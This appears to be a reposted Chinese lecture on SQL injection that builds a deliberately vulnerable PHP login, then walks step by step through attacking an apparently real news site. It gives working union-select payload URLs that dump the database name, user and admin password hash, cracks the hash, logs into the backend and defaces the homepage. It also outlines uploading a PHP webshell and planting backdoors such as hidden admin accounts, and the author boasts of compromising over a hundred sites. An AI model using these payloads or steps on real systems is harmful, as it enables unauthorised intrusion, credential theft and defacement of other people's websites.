Web安全篇之SQL注入攻擊

在網上找了一篇關於sql注入的解釋文章,還有不少技術,蜻蜓點水吧php

文章來源:http://www.2cto.com/article/201310/250877.htmlhtml

ps:直接copy,格式有點問題~java

你們早上好!今天由我給你們帶來《web安全之SQL注入篇》系列晨講,首先對課程進行簡單介紹,SQL注入篇一共分爲三講:
       第一講:「紙上談兵:咱們須要在本地架設注入環境,構造注入語句,瞭解注入原理。」;
       第二講:「實戰演練:咱們要在互聯網上隨機對網站進行友情檢測,活學活用,觸類旁通」;
       第三講:「擴展內容:掛馬,提權,留門。此講內容頗具危害性,不予演示。僅做概述」。
    這個主題涉及的東西仍是比較多的,結合咱們前期所學。主要是讓你們切身體會一下,管中窺豹,起到知己知彼的做用。千里之堤潰於蟻穴,之後進入單位,從事相關程序開發,必定要謹小慎微。
 
問:你們知道駭客們攻擊網站主要有哪些手法?   
      SQL注入,旁註,XSS跨站,COOKIE欺騙,DDOS,0day 漏洞,社會工程學 等等等等,只要有數據交互,就會存在被入侵風險!哪怕你把網線拔掉,物理隔絕,我還能夠利用傳感器捕捉電磁輻射信號轉換成模擬圖像。你把門鎖上,我就爬窗戶;你把窗戶關上,我就翻院牆;你把院牆加高,我就挖地洞。。。道高一尺魔高一丈,我始終堅信計算機不存在絕對的安全,你攻我防,此消彼長,有時候,魔與道只在一念之間。
    下面,就讓咱們一塊兒推開計算機中那另外一扇鮮爲人知的門---
 
   1、紙上談兵

   (一)瞭解注入原理
    爲何會存在sql注入呢,只能說SQL出身很差。由於sql做爲一種解釋型語言,在運行時是由一個運行時組件解釋語言代碼並執行其中包含的指令的語言。基於這種執行方式,產生了一系列叫作代碼注入(code injection)的漏洞 。它的數據實際上是由程序員編寫的代碼和用戶提交的數據共同組成的。程序員在web開發時,沒有過濾敏感字符,綁定變量,致使攻擊者能夠經過sql靈活多變的語法,構造精心巧妙的語句,不擇手段,達成目的,或者經過系統報錯,返回對本身有用的信息。
    咱們在學JDBC和SQL時,講師跟咱們說 Statement不能防止SQL注入, PreparedStatement可以防止SQL注入. 沒錯, 這句話是沒有問題的, 但到底如何進行SQL注入?怎麼直觀的去了解SQL注入?這仍是須要花必定的時間去實驗的.預編譯語句java.sql.PreparedStatement ,擴展自 Statement,不但具備 Statement 的全部能力並且具備更強大的功能。不一樣的是,PreparedStatement 是在建立語句對象的同時給出要執行的sql語句。這樣,sql語句就會被系統進行預編譯,執行的速度會有所增長,尤爲是在執行大語句的時候,效果更加理想。並且PreparedStatement中綁定的sql語句是能夠帶參數的。
   (二)架設注入環境
    咱們知道如今php做爲一門網頁編程語言真是風生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建網站環境,如騰訊的discuz、阿里的 phpwind 以及織夢的dedecms 等建站程序,佔據了國內網站的半壁江山。那麼咱們今天即以這種架構爲假象敵,首先是在本地架設wamp環境。須要用到的工具備:apache,mysql,php ,這幾個組件能夠單獨下載安裝,不過安裝配置過程較爲繁瑣,仍是建議新手直接從網上下載phpnow ,一個綠色程序,包含上述三個組件,傻瓜化操做就能夠了。
      而後呢,咱們要創建測試用的數據表,編寫html,php,文件,經過實例具體來演示經過SQL注入,登入後臺管理員界面。這裏,我以前已經寫好了,你們看下:

1.建立一張試驗用的數據表:
  
mysql

?
1
2
3
4
5
6
7
8
CREATE TABLE users (
  id int ( 11 ) NOT NULL AUTO_INCREMENT,
  username varchar( 64 ) NOT NULL,
  password varchar( 64 ) NOT NULL,
  email varchar( 64 ) NOT NULL,
  PRIMARY KEY (id),
  UNIQUE KEY username (username)
  );


  
  添加一條記錄用於測試:
  INSERT INTO users (username,password,email)
  VALUES('tarena',md5('admin'),'tarena@admin.com');
  
2.接下來,貼上登陸界面的源代碼:
linux

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
< html >
< head >
< title >Sql注入演示</ title >
< meta http-equiv = "content-type" content = "text/html;charset=utf-8" >
</ head >
< body >
< form action = "validate.php" method = "post" >
   < fieldset >
     < legend >Sql注入演示</ legend >
     < table >
       < tr >
         < td >用戶名:</ td >
         < td >< input type = "text" name = "username" ></ td >
       </ tr >
       < tr >
         < td >密&nbsp;&nbsp;碼:</ td >
         < td >< input type = "text" name = "password" ></ td >
       </ tr >
       < tr >
         < td >< input type = "submit" value = "提交" ></ td >
         < td >< input type = "reset" value = "重置" ></ td >
       </ tr >
     </ table >
   </ fieldset >
</ form >
</ body >
</ html >



當用戶點擊提交按鈕的時候,將會把表單數據提交給validate.php頁面,validate.php頁面用來判斷用戶輸入的用戶名和密碼有沒有都符合要求(這一步相當重要,也每每是SQL漏洞所在)。

3.驗證模塊代碼以下:
程序員

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
< html >
< head >
< title >登陸驗證</ title >
< meta http-equiv = "content-type" content = "text/html;charset=utf-8" >
</ head >
< body >
<? php
        $conn=@mysql_connect("localhost",'root','') or die("數據庫鏈接失敗!");;
        mysql_select_db("injection",$conn) or die("您要選擇的數據庫不存在");
        $name=$_POST['username'];
        $pwd=$_POST['password'];
        $ sql = "select * from users where username='$name' and password='$pwd'" ;
        $ query = mysql_query ($sql);
        $ arr = mysql_fetch_array ($query);
        if(is_array($arr)){
               header("Location:manager.php");
        }else{
               echo "您的用戶名或密碼輸入有誤,<a href=\"Login.php\">請從新登陸!</ a >";
        }
?>
</ body >
</ html >



    注意到了沒有,咱們直接將用戶提交過來的數據(用戶名和密碼)直接拿去執行,並無實現進行特殊字符過濾,待會大家將明白,這是致命的。
  代碼分析:若是,用戶名和密碼都匹配成功的話,將跳轉到管理員操做界面(manager.php),不成功,則給出友好提示信息。

   (三)演示注入手法  
  到這裏,前期工做已經作好了,咱們看這個登陸界面,雖然說是簡陋了點。但具備通常登陸認證的功能。普通人看這個不過是一個登陸界面,但從攻擊者角度來講,透過現象看本質,咱們應當意識到隱藏在這個登陸頁面背後的是一條select 語句---
  OK! 接下來將展開咱們的重頭戲:SQL注入
  填好正確的用戶名(tarena)和密碼(admin)後,點擊提交,將會返回給咱們「歡迎管理員」的界面。
  由於根據咱們提交的用戶名和密碼被合成到SQL查詢語句當中以後是這樣的:
      select * from users where username='tarena' and password=md5('admin')
  很明顯,用戶名和密碼都和咱們以前給出的同樣,確定可以成功登錄。可是,若是咱們輸入一個錯誤的用戶名或密碼呢?很明顯,確定登入不了吧。恩,正常狀況下是如此,可是對於有SQL注入漏洞的網站來講,只要構造個特殊的「字符串」,照樣可以成功登陸。
  好比:在用戶名輸入框中輸入:’or 1=1#,密碼隨便輸入,這時候的合成後的SQL查詢語句爲:
      select * from users where username='' or 1=1#' and password=md5('')
  語義分析:「#」在mysql中是註釋符,這樣井號後面的內容將被mysql視爲註釋內容,這樣就不會去執行了,換句話說,如下的兩句sql語句等價:
      select * from users where username='' or 1=1#' and password=md5('')
  等價於
      select * from users where username='' or 1=1
  由於1=1永遠都是成立的,即where子句老是爲真,將該sql進一步簡化以後,等價以下select語句:
      select * from users
  沒錯,該sql語句的做用是檢索users表中的全部字段
    果不其然,咱們利用萬能語句(’or 1=1#)可以登陸!看到了吧,一個經構造後的sql語句竟有如此可怕的破壞力,相信你看到這後,開始對sql注入有了一個理性的認識了吧~
 
    2、實戰演練

    OK,前面鋪墊了那麼多,算是給你們科普了。如今咱們進行第二講,實戰演練。開始以前呢,有一個互動環節。如今請你們用本身的手機登陸 http://www.guoshang.tk  這個網址,簡單看下。待會等咱們注入攻擊以後,再次登陸,好對比效果,對於sql注入攻擊有一個更加直觀的認識。
 
   (一)積極備戰 
    1。首先設置瀏覽器,工具--internet選項--安全--找到「顯示友好的http信息」,把前面的勾去掉;
    2。打開谷歌,尋找注入點。爲了節省時間,這裏我已經事先找好目標點
                http://www.guoshang.tk;
       谷歌搜索小技巧:篩選關鍵字:"inurl:/news/read.php?id="

   (二)狼煙四起
    1。咱們打開這個網址,一個新聞網站,,咱們點擊[百家爭鳴]板塊,這是一個國內外新聞速覽的欄目,好多時政的帖子,咱們點擊一個,OK,如今進入單個帖子界面,首先咱們看下當前帖子的URL地址,
        http://www.guoshang.tk/news/read.php?id=50
    能夠看出這是一個動態URL,也就是說能夠在地址欄中傳參,這是SQL注入的基本條件。
    2。判斷是否存在sql注入可能。在帖子地址後面空上一格,敲入 and 1=1 ,而後 and 1=2 。這兩句什麼意思呢? 一個恆等式,一個恆不等式,敲入 and 1=1 帖子返回正常, and 1=2 時帖子返回出錯,說明sql語句被執行,程序沒有對敏感字符進行過濾。如今咱們能夠肯定此處是一個SQL注入點,程序對帶入的參數沒有作任何處理,直接帶到數據庫的查詢語句中。能夠推斷出在訪問
        http://www.guoshang.tk/news/read.php?id=50
    時數據庫中執行的SQL語句大概是這樣的: 
        Select * from [表名] where id=50 
    添加and 1=1後的SQL語句: 
        Select * from [表名] where id=50 and 1=1   
        因爲條件and 1=1永遠爲真,因此返回的頁面和正常頁面是一致的 
    添加and 1=2後的SQL語句: 
        Select * from [表名] where id=50 and 1=2   
        因爲條件1=2永遠爲假,因此返回的頁面和正常頁面不一致 
    3。爆數據庫。肯定注入點僅僅意味着開始。如今,咱們回到原先的帖子地址:
            http://www.guoshang.tk/news/read.php?id=50  
       如今要判斷數據庫類型以及版本,構造語句以下:
            http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51 
            發現返回正常頁面,說明數據庫是mysql,而且版本大於4.0,支持union查詢,反之是4.0
            如下版本或者其餘類型數據庫。 
    4。爆字段。接着咱們再構造以下語句來猜表中字段: 
            a. http://www.guoshang.tk/news/read.php?id=50 order by 10    
            返回錯誤頁面,說明字段小於10 
            b. http://www.guoshang.tk/news/read.php?id=50 order by 5    
            返回正常頁面,說明字段介於5和10之間 
            c. http://www.guoshang.tk/news/read.php?id=50 order by 7    
            返回錯誤頁面,說明字段大於5小於7,能夠判斷字段數是6.下面咱們再來確認一下 
            d. http://www.guoshang.tk/news/read.php?id=50 order by 6     
        返回正常頁面,說明字段確實是6這裏採用了「二分查找法」,這樣能夠減小判斷次數,節省時間。若是採用從order by 1依次增長數值的方法來判斷,須要7次才能夠肯定字段數,採用「二分查找法」只須要4次就夠。當字段數很大時,二分查找法的優點更加明顯,效率更高。 
    5。爆表.肯定字段以後如今咱們要構造聯合查詢語句(union select ),語句以下:     
           http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6   
        咱們來看帖子頁面,原先內容沒有了,取而代之的是返回給了咱們 三個數字,分別是3,5,6 咱們隨便選擇一個,這裏的3,5,6指的是咱們能夠把聯合查詢的對應位置替換爲 咱們想要查詢的關鍵字,好比版本,數據庫名稱,主要是用來探測web系統的信息。
    6。爆用戶名、密碼。咱們選擇3 吧,OK,如今把3給替換掉,先查詢下數據庫庫名,構造語句以下
           http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,database(),4,5,6     
           瀏覽器給咱們返回了 xinwen  。說明這個網站 的數據庫庫名是 xinwen  . 
       如今咱們用一樣的手法查詢下 管理員信息 ,構造語句以下:
           http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,user(),4,5,6
           返回 root@localhost ,是個管理員權限。
       如今咱們再用一樣的手法查詢用戶名,密碼,構造語句以下:
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
                                                           1,2,username,4,5,6 from admin 
            返回 admin
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                             1,2,password,4,5,6 from admin
            返回 B2E5B76793EDA747382E81391AA3A400  
    7。md5解密。看到這裏,有的同窗可能會有點緊張。其實返回的這個是字符串密碼通過32位md5加密後的值。上次李翊大帝給咱們複習的時候 講過加密與解密。也稍稍提到了md5 摘要算法,不可逆。話雖如此,如今互聯網上crack md5 「解密」md5 的網站不少,這裏我給解密加了引號,是由於其「解密」原理是 md5 值既然不能進行 逆向破解,可是一樣的字符串通過一樣的md5加密算法所生成的md5值是同樣的,咱們能夠從新構造字符串生成md5值,而後對比兩個值,若是同樣則字符串同樣。有人說,這種方法豈不是海底撈針,試到猴年馬月去啊,其實否則,互聯網雲時代已經到來,大數據的信息挖掘以及分佈式運算能夠解決不少相似大運算量的問題。咱們如今就要來對這個md5值進行比對,有好多網站提供這種服務,咱們找一個。(http://www.md5.com.cn ) 這個網址,咱們把這個值複製進去,而後點擊「MD5 CRACK「,「解密」時間,視密碼複雜度而定,OK,結果出來,(chinaadmin)
    8。登陸後臺。如今咱們已經拿到網站的管理員賬號密碼,感謝上帝,一帆風順,但還不能高興得太早。不少狀況是你雖然拿到了鑰匙,可是找不到門。下面咱們就來找一下門,找以前要有個基本思路:
       ①先試下幾個比較經常使用的目錄;
       ②不行的話,由於這個論壇程序是dedecms5.6 ,因此咱們就到 織夢官方,下載一套一樣程序,           分析網站管理路徑,或者直接百度「dedecms默認管理界面」便可,下載步驟可省略;
       ③手工不通,借力工具。明小子,啊D,御劍,均可以。
    9。這裏咱們發現此網站依然採用程序默認管理路徑:
            http://www.guoshang.tk/dede 
            輸入用戶名 admin ,密碼 chinaadmin 成功登入。
        接下來,咱們找到【核心】--【附件管理】--【文件式管理器】--這時咱們能夠看到網站根目錄下全部目錄以及文件,下標欄還有幾個功能選項,咱們能夠看到網站首頁文件【index.html】,點擊【修改】,進入網頁源代碼編輯模式,刪除全部源碼(這招有點毒,勸告別改人家的源碼,建議新建一個文件),留個言,表示到此一遊。
            卑鄙是卑鄙者的通行證,高尚是高尚者的墓誌銘----- 北島
        如今是見證奇蹟的時刻!請你們再次登陸這個網站,有沒有把你和你的小夥伴們驚呆呢?!
 
        至此,戰鬥結束。若干年的免費住宿,每日三餐在向你招手。。。
 
   3、擴展部分
   鑑於此講內容危害性較大,不予演示。只簡述其流程。
   (一)webshell提權
        二講結束,咱們僅僅取得網站管理員權限,操做範圍僅限當前網站。革命還沒有成功,同志仍需努力。若想深刻挖掘,則必須尋求更大突破。得到網站webshell .
        ①準備一個php網馬。(網上氾濫成災,本身下載。但要注重分辨,當心螳螂捕蟬黃雀在後);
        ②登陸網站後臺--【核心】--【附件管理】--【文件式管理器】--選擇下標欄中的【文件上傳
          選項,上傳咱們實現準備的php網馬文件(tarena.php);
        ③上傳完畢,點擊預覽,記錄下url地址。新建瀏覽器窗口,複製粘貼,打開以後,能夠看到咱們的網馬成功掛載,輸入密碼tarena(密碼能夠自行用記事本打開修改編輯);
        ④進入網馬管理界面,你會被那華麗麗的操做選項驚呆了!(取決網馬水平,小馬就別談了,這裏指的是大馬)。從程序目錄-網站根目錄-各類強大的功能,乃至直接操做服務器磁盤文件,獲取各類系統信息,躍馬揚鞭,如入無人之境。其破壞力之大,使人咂舌!因此拜託各位親,必定要盜亦有道,手下留情,除了靠法律監管,也要靠我的道德約束。
 
   (二)暗修棧道
        浴血奮戰、攻城拔寨以後,怎樣保衛來之不易的勝利果實?政治治大國若烹小鮮,入侵則烹小鮮如治大國。爲長遠計,咱們須要創建一種長期和肉雞保持聯繫的機制。並且還要很隱蔽,畢竟這是見不得光的。留後門的方法諸多:
        ①開啓telnet服務     
           創建匿名帳戶,添加至超級管理員組;
        ②開啓遠程終端服務;
             ③自制木馬觸發事件...
        因系統平臺而異,這裏再也不贅言。
 
 
後注


①可能有讀者會以爲此文很假,的確,鑑於篇幅問題,文中目標站點是我事先踩點過的,因此才
        會一路凱歌,事實上不多會有站點會如此理想,但萬變不離其宗,只是時間問題罷了。
      ②文中所述演示環境創建在同時知足兩個條件下:
           1.php配置文件中魔術引號已關閉;
           2.建站程序中沒有對用戶輸入字符進行過濾。
 
 
      實際生活中,相似的SQL注入漏洞已經是明日黃花,國內大大小小的網站都已經補上漏洞。但,百密必有一疏,入侵是偶然的,但安全絕對不是必然的。筆者曾在晨講以前利用了一天的時間,採起手工加工具的手段批量掃描了一批站點,並最終成功攻克一百有餘。其中SQL注入漏洞確實不多,但各種0day漏洞層出不窮,更爲嚴重的是後者比前者更加致命,互聯網的高速發展給人們帶來便利的同時也潛伏着很是多的風險,目前國內網絡安全領域人才缺口很是大!但願達內可以審時度勢,佔領市場先機,早日開設網絡安全專業,爲社會經濟建設保駕護航
web

相關文章
相關標籤/搜索